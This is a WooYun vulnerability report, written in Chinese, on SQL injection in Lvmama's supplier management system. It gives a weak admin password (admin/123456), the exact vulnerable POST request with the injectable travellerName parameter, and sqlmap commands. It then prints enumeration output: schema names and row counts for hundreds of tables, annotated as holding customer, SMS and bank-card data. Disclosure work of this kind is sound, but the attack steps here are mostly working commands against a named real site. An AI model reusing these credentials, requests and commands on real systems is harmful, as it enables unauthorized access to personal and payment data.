WooYun.org

问题存在于驴妈妈供应商管理系统，此系统存在弱口令：admin 123456
在订单处理-》全部订单 页面：
http://e.lvmama.com/ebooking/eplace/allPassportList.do

查找接口中的取票人姓名travellerName存在sql注入：
POST /ebooking/eplace/allPassportList.do HTTP/1.1
Host: e.lvmama.com
playTimeStart=2013-06-01&playTimeEnd=2015-06-08&orderId=&createTimeStart=&createTimeEnd=&moblieNumber=&status=&travellerName=a&productId=&passport=&orderStatus=&paymentTarget=
sqlmap.py -r tt.txt -p "travellerName" --current-user
根据返回得知为oracle数据库，当前用户为：LVMAMA_SUPER （驴妈妈超级用户？）

列出所有数据库：sqlmap.py -r tt.txt -p "travellerName" --dbs

[22:05:20] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[22:05:20] [INFO] fetching database (schema) names
[22:05:20] [INFO] the SQL query used returns 29 entries
available databases [29]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] LVMAMA
[*] LVMAMA_LVF
[*] LVMAMA_LZY
[*] LVMAMA_MXL
[*] LVMAMA_PC
[*] LVMAMA_PET
[*] LVMAMA_QYCH
[*] LVMAMA_REPORT
[*] LVMAMA_SUPER
[*] LVMAMA_VER
[*] LVMAMA_WORKFLOW
[*] MDSYS
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
列出LVMAMA库的表以及条数：
sqlmap.py -r tt.txt -p "travellerName" --count -D LVMAMA
LVMAMA库共计有446个数据表：

挑几个熟悉表的猜测标注一下。。
web application technology: JSP
back-end DBMS: Oracle
Database: LVMAMA
+-------------------------------+---------+
| Table | Entries |
+-------------------------------+---------+
| RECEIVERS | 3937266 | 收货人，393万条
| PLACE_VISIT_LOG | 3675660 |
| USER_POINT_LOG | 1423244 |
| MSG_BODIES | 1353084 | 短信内容，135万条
| MSG_INBOXES | 1321778 |
| SEARCH_LOG | 1297924 | 搜索记录，129万条
| UMIS_USER_LOG | 1262765 |
| ALL_USERS_CHANNEL | 1220689 |
| DATA_USER_LOGIN_COLLECT | 1151602 |
| STATUS_CHANGE_LOG | 1128526 |
| USERS_EXTEND | 1119135 | 扩展用户？ 111万条
| ORDER_HEAD_LOG | 1013890 |
| TBL_USER | 931722 | TBL用户？93万条
| USER_GOLD_LOG | 871004 |
| SMS_TASKS_HISTORY | 852650 |
| TAIL_ALB_ALBUMS | 843825 |
| UMIS_USER | 710472 | UMIS用户？ 71万条
| ORDER_LOG | 587036 | 订单日志？ 58万条
| USER_PLACE_RELATE_PEOPLE | 510525 |
| CMT_PLACE | 441548 |
| PLACE_VOTE | 432069 |
| DESTINATION_VISIT_LOG | 427122 |
| USER_NEWEST_ACT | 352305 |
| CUSTOMER | 330095 | 客户，33万条
| ADS_MONITOR_TASKS_LOG | 317753 |
| ADS_USER_ACTION_LOG | 291503 |
| REGIONALISM | 278726 |
| ORDER_HEAD_PLACES | 278158 |
| MSG_OUTBOXES | 269397 |
| ORDER_PAY_SERIAL_ORDER | 264593 |
| ORDER_PAY_SERIALS | 264583 |
| SMS_TASKS_HISTORY_2009 | 240734 |
| ORDERS | 232873 | 订单 23万条
| ORDER_HEAD | 226401 | 最近订单？ 22万条
| ADS_NS_LOG | 219924 |
| USER_COPERATION_LOG | 207075 |
| TICKET_COUPON | 185529 | 票务优惠券？ 18万条
| DESTINATION_PLACE_CMT | 144600 |
| USER_PLACE_RELATE_TOPIC | 124863 |
| PLACE_CMT_PLACE_RELATE_PEOPLE | 124732 |
| CMT_CLUBS | 115562 |
| DEDUCTION_LOG | 112007 |
| DEALING | 106504 |
| ORDER_PAYS | 105666 | 订单支付？
| PLACE_CMT_PLACE_RELATE_TOPIC | 100543 |
| CARD_INFO | 100000 | 银行卡信息？ 10万条
| USER_INFO | 88386 | 用户信息？
| PRODUCT_COUPON | 85317 | 产品优惠券？
| TAIL_USERS | 64598 |
| ORDER_PHONE_ONLINE_LOG | 59860 |
| ORDER_FAXES | 56160 |
| ADS_WEB_LOG | 52056 |
| CMT_PLACE_USEFUL_LOG | 49433 |
| ORDER_DIMENSION_LOG | 49400 |
| ORDER_PHONE_ONLINE | 49397 |
| FAX_TASK | 36898 |
| MSG_TRASHBOXES | 31354 |
| PLACE_CMT_PL_RELATE_FACILITY | 30021 |
| USER_INTEREST | 24573 |
| REPORT_QUERY | 22523 |
| PLACE_CMT_P_R_FACILITY_CROSS | 21517 |
| PLACE_PLACE_RELATE_FACILITY | 21517 |
| OP_ONLINE_ORDER_HEAD | 19736 |
| PLACE_CMT_P_R_TOPIC_CROSS | 19342 |
| PRODUCT_PAYMETHODS | 19163 |
| ALB_PHOTOS | 18363 |
| PLACE_CMT_P_R_PEOPLE_CROSS | 16761 |
| ORDER_COPERATION_LOG | 16229 |
| PLACE_VOTE_PLAYER | 15668 |
| COMMENTS | 14196 | 评论？
| PLACE_PRODUCTS_LOG | 14073 |
| PLACE_TICKETS_LOG1 | 13222 |
| PLACE_TICKETS | 13144 |
| PLACE_RELATE_FACILITY | 12643 |
| TICKET_PLACE_PRODUCTS | 12270 |
| COMMENTS_TEMP | 12027 |
| PLACE_PAYMETHODS | 11351 |
| BLOG_PUBS | 11226 |
| ARTICLES | 11197 |
| PRODUCTS_ADDITION_PHOTOS | 10769 |
| CMT_REPLY | 10697 |
| USER_KNOW_WAY | 10566 |
| BBS_BOARDS | 10552 |
| PLACES | 10282 |
| PLACE_KEYWORDS_INFO | 10275 |
| PLACE_FORUM | 10269 |
| PLACE_WIKI | 10250 |
| PLACE_PLACE_PRODUCTS | 9711 |
| DESTINATION_PLACES | 9276 |
| PLACE_PLACE_MANAGER | 9259 |
| CMT_PLACE_TYPE | 7997 |
| PRODUCTS_HOT_POINTS | 7987 |
| PK_BLOG_PUBS_VOTE | 7978 |
| PLACE_PLACE_RELATE_PEOPLE | 7497 |
| USER_FEEDBACK | 7224 | 用户反馈？
| REGISTER_ACTION | 6927 |
| CREDIT_ORDER | 6759 |
| TO_PAY_TASKS | 6011 |
| LV_TMP_SMS | 5951 |
| PLACE_PRODUCTS | 5821 |
| SYS_EXPORT_SCHEMA_01 | 5395 |
| ARTICLE_CMT_REPLY | 5277 |
| E_DIANPIN | 4766 |
| ORDER_CHANNEL | 4569 |
| PLACE_PLACE_RELATE_TOPIC | 4539 |
| TURNPLATE_STATE | 4377 |
| PAY_PLATFORM_INFOS | 4116 |
| FOOT_PRINTS | 4110 |
| USER_FEEDBACK_LOG | 3945 |
| USER_ROLE | 3338 |
| UMIS_USER_KNOW_WAYS | 3229 |
| ALB_ALBUMS | 2818 |
| PLACE_RELATE_TOPIC | 2543 |
| PRODUCT_TMP | 2481 |
| SMS_MOBILE_TASKS | 2034 |
| FAX_CONTACT | 1996 |
| EMAIL_SUBSCRIBE | 1911 |
| FAX_CONTACT_TMP | 1884 |
| PLACE_PLACE_RELATE_CLASSIFY | 1842 |
| ROUTE_DEPARTURE_TIME | 1763 |
| FED_RELATIONS | 1758 |
| PLACE_ADDITION_INFO | 1642 |
| PLACE_BASE_INFO | 1642 |
| PLACE_TOUR_INFO | 1642 |
| PLACE_CONTACTOR_INFO | 1604 |
| CMT_BLOG_PUBS | 1469 |
| PLACE_PLACE_PROMT_ACTIVITY | 1397 |
| PLACE_RELATE_PEOPLE | 1291 |
| ROUTE_ROUTE_PAY_METHOD | 1208 |
| NOTICES | 1177 |
| E_FENLEI | 1164 |
| COLL_PRODUCT_DEAL | 1093 |
| SYS_EXPORT_SCHEMA_02 | 1063 |
| ADS_MONITOR_TASKS | 1051 |
| INTERNAL_LINK_KEYWORD | 1036 |
| TICKETS_PLACE_TICKETS | 1004 |
| PK_PLACES_COUPON | 1000 |
| CMT_NON_PLACE | 976 |
| UMIS_USER_INTEREST_TYPES | 960 |
| RE_MESSAGE_COUNT | 947 |
| COUPON_LOG | 869 |
| ORDER_PHONE_ONLINE_DETAIL | 854 |
| CLUB_USER | 790 |
| BBS_KEYWORD | 736 |
| CC_PROCESS | 700 |
| FED_INVITES | 647 |
| COUPON | 644 |
| PK_PLACE_VOTE | 629 |
| PLACE_ADDITION_PHOTOS | 588 |
| PLACE_SATISFY_LOG | 555 |
| CMT_MOBILE_PLACE | 554 |
| DIC_LOGOS | 544 |
| DIC_CITIES | 470 |
| POLICY | 426 |
| EVT_ATTENDERS | 419 |
| ROUTE_FLIGHT | 413 |
| EMAIL_INVITE_LISTS | 409 |
| DESTINATION_INDEX | 405 |
| E_CITY | 377 |
| PLACE_PHOTOS | 371 |
| ROUTE_ROUTE_FLIGHT | 331 |
| EVT_EVENTS | 311 |
| EMAIL_INVITES | 310 |
| WISH_WALL_EMAIL | 310 |
| USERS_PLACES | 296 |
| PLACE_ROLE_USER | 290 |
| PLACE_PLACE | 274 |
| ROUTE_JOURNEY | 273 |
| ROUTE_ORDER_LOG | 273 |
| ROUTE_ROUTE_DESTINATION | 273 |
| CLUBS | 265 |
| CLUB_POPE_LOG | 244 |
| INFORMATION_SUBSCRIBE | 241 |
| ROUTE_PHOTO | 234 |
| SYS_FUNCTION | 233 |
| PLACE_U_A_WIKI_DIC_PLACE_F_T | 224 |
| SPECIAL_SUBJECT_PLACE | 224 |
| PLACE_PLACE_RELATE_AREA | 214 |
| SYS_MENU_PERMIS | 205 |
| PLACE_USER_ADD_WIKI | 175 |
| SYS_PERMISSIONS | 170 |
| ROUTE_ROUTE_TAG | 167 |
| SMS_JOB_LOG | 166 |
| ORDER_PAY_BY_GOLDS | 162 |
| ROUTE_ROUTE | 160 |
| ROUTE_ORDER_TOURIST | 144 |
| CMT_EVENTS | 128 |
| T_BUSSINESS_DIMENSION | 124 |
| ORDER_PAY_BY_GOLD_LOG | 119 |
| PLACE_PLACE_RELATE_PERIOD | 113 |
| CTRIP_MOBILE | 106 |
| DIC_ALL_USER_KNOW | 106 |
| PLACE_VOTE_STAT | 98 |
| CC_PROCESS_LOG | 96 |
| ROUTE_ORDER | 94 |
| PLACE_VOTE_STAT_BACK | 93 |
| ROUTE_ROUTE_ADDITION | 93 |
| DIC_UMIS_CALL_TYPE | 92 |
| SMS_CONTENTS | 92 |
| HOT_DESTINATION | 91 |
| ROLES | 91 |
| ACTIVITY_RUSH_ORDER | 88 |
| DIC_CCPLACEINFO | 87 |
| ROUTE_HOTEL_ROOM | 81 |
| SMS_JOB_FILTER | 81 |
| SMS_JOBS | 81 |
| SMS_JOB_BACK | 80 |
| DATE_COLLECT_MONTH | 78 |
| ORDER_ERROR_MESSAGE | 73 |
| PLACE_LIST | 73 |
| ROUTE_TOURIST | 70 |
| ACTIVITY_HENG_DIAN_USER | 63 |
| E_PLACE_PRODUCT | 62 |
| PK_BLOG_PUBS | 54 |
| T_BUSSINESS | 54 |
| T_DIMENSIONS | 54 |
| ROUTE_PLACE_DES | 48 |
| TICKETS_DIC_PROMTS_BAK | 48 |
| SPECIAL_SUBJECT | 45 |
| TMP1 | 44 |
| ACTIVITY_HENG_DIAN | 43 |
| DIC_ROUTE_ADDITION | 41 |
| TICKET_TYPES | 39 |
| DIC_POINT_RULES | 35 |
| E_USER_PLACE | 35 |
| VOTE_OPTION_INFOS | 35 |
| DESTINATION_QUEUE | 34 |
| DIC_CAPITALS | 34 |
| E_CAPITAL | 34 |
| E_USER_PLACE_MANAGER | 32 |
| VOTE_ANSWER_INFOS | 32 |
| VOTE_ANSWER_OPTIONS | 32 |
| DIC_AIRLINE_COMPANY | 30 |
| PRODUCTS_DIC_PROMTS_BAK | 30 |
| ROUTE_ADDITION | 29 |
| ROUTE_HOTEL | 28 |
| ACTIVITY_RUSH_PRODUCT | 27 |
| DIC_COUNTRY | 25 |
| PLACE_USER_PAIR | 24 |
| FAX_STATUS | 22 |
| ROUTE_DISTRIBUTION_ADDRESS | 22 |
| BLOG_CATEGORIES | 20 |
| CLUB_APPLIES | 20 |
| DIC_STATUS | 20 |
| PK_PLACES | 20 |
| DIC_GOLD_RULES | 19 |
| DIC_UMIS_CALL | 19 |
| ROUTE_ROUTE_HOTEL | 18 |
| ROUTE_ORDER_HOTEL | 17 |
| DIC_TAG | 16 |
| DIC_CHANNEL | 14 |
| DIC_CERTIFICATE_TYPE | 13 |
| PLACE_WIKI_DIC_PLACE_FIT_TYPE | 13 |
| ALB_CATEGORIES | 12 |
| DIC_UMIS_CALL_TYPE_ROOT | 12 |
| PK_USERS | 12 |
| ROUTE_ORDER_FLIGHT | 12 |
| DIC_AUDIT_STATUS | 11 |
| GROUPS | 11 |
| ROUTE_COMMENT | 11 |
| DIC_ADDITION_TYPE | 10 |
| NOTICE_TYPES | 10 |
| BBS_POST_TYPES | 9 |
| DIC_AREA | 9 |
| DIC_PLACE_FIT_TYPE | 9 |
| HOT_PLACES | 9 |
| PLACE_MANAGER | 9 |
| TURNPLATE_AWARD | 9 |
| BBS_BOARDS_USER | 8 |
| BLOG_GREAT_PUBS | 8 |
| CMT_ALBUMS | 8 |
| DIC_INTEREST_TYPES | 8 |
| DIC_PLACE_LIST_TYPE | 8 |
| DIC_SEO | 8 |
| DIC_STATUS_WORKFLOW | 8 |
| PAY_METHODS | 8 |
| PLACE_RELATE_CLASSIFY | 8 |
| PRODUCTS_DIC_SPREAD_ACTIVITY | 8 |
| VOTE_QUESTION_INFOS | 8 |
| ADS_USER_ACTION_TYPE | 7 |
| DIC_CONTINENT | 7 |
| DIC_EXPRESS_STATE | 7 |
| DIC_INVOICE_DETAIL | 7 |
| EVT_CATEGORIES | 7 |
| QUESTIONS | 7 |
| ANSWERS | 6 |
| BBS_USER_LOCK_STATUS | 6 |
| DIC_ALBUM_SETS | 6 |
| DIC_LOGO_TYPE | 6 |
| PLACE_RELATE_PERIOD | 6 |
| QUESTION_TYPES | 6 |
| CHANNEL_INFO | 5 |
| CLUB_CATEGORIES | 5 |
| CLUB_JOIN_SETS | 5 |
| CMT_MONTH_HOT_USER | 5 |
| DIC_ADS_TYPE | 5 |
| DIC_ALL_USER_KNOW_TYPE | 5 |
| DIC_BUSSINESS_KEYS | 5 |
| RFQ_LIST | 5 |
| CLUB_FED_LINK | 4 |
| CLUB_USER_POPE | 4 |
| CMT_TYPE | 4 |
| COLL_COMPANY_PRODUCT | 4 |
| DIC_DEAL_TYPE | 4 |
| DIC_EVT_ATTENDERS_STATUS | 4 |
| DIC_KNOW_WAYS | 4 |
| DIC_OP_STATE | 4 |
| DIC_REGIST_STEP | 4 |
| DIC_ROOM_TYPE | 4 |
| DIC_ROUTE_TYPE | 4 |
| CLUB_USER_STATUS | 3 |
| DIC_APPLY_STATUS | 3 |
| DIC_BLOG_PUB_SETS | 3 |
| DIC_CS_TI_CHENG | 3 |
| DIC_DEDUCTION_TYPE | 3 |
| DIC_EVT_SOURCES | 3 |
| DIC_FEEDBACK_STATE | 3 |
| DIC_FRIEND_SETS | 3 |
| DIC_PASSPORT_TYPE | 3 |
| DIC_PHOTO_TYPE | 3 |
| DIC_PLACE_TICKET_FETCH_INFO | 3 |
| DIC_PROMT | 3 |
| DIC_UMIS_CALL_TYPE_LOG | 3 |
| DIC_USER_DEGREE | 3 |
| DIC_VOTE_QUESTION_TYPES | 3 |
| ORDER_TYPE | 3 |
| PLACE_CONTACTOR_TYPE | 3 |
| PLACE_PERMISSION | 3 |
| PLACE_RELATE_AREA | 3 |
| PLACE_ROLE_PLACE_PERMISSION | 3 |
| ROUTE_DEALING | 3 |
| CARD_TYPE | 2 |
| CLUB_VIEW_SETS | 2 |
| COLL_COMPANY | 2 |
| DIC_EXPRESS_COMPANY | 2 |
| DIC_EXPRESS_FEE | 2 |
| PDF_PRODUCT | 2 |
| QUESTION_STATUS | 2 |
| ROUTE_ROUTE_PLACE | 2 |
| SELL_PARTNER | 2 |
| CARD_PRODUCE_LOG | 1 |
| DIC_SPREAD_ACTIVITY | 1 |
| DIC_TICKET_LIST_TYPE | 1 |
| DIC_UMIS_CALL_TYPE_ROOT_LOG | 1 |
| GENERAL_SETTINGS | 1 |
| NOTICE_ADD_TYPE | 1 |
| ORDER_DIC_EXPRESS_FEE | 1 |
| PLACE_ROLE | 1 |
| PLACE_WIKI_PROVIDER | 1 |
| ROLE_PERMISSION | 1 |
| VOTE_INFOS | 1 |
+-------------------------------+---------+
数据库太多，没有一个一个去跑了，点到为止。